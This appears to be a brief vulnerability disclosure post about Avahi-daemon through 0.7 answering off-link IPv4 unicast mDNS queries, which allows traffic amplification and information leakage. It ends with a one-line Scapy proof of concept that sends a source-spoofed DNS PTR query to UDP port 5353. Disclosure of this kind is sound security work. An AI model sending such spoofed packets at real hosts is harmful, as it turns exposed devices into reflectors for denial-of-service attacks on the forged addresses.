Hi!

Avahi-daemon in Avahi through 0.7 inadvertently sends Legacy Unicast
Responses to IPv4 unicast queries with source addresses that are not
link-local, which allows remote attackers to cause a denial of service
(traffic amplification) or obtain potentially sensitive information
via port-5353 UDP packets.

send(IP(src="1.1.1.1",dst="192.168.1.1")/UDP(sport=53,
dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local.")))
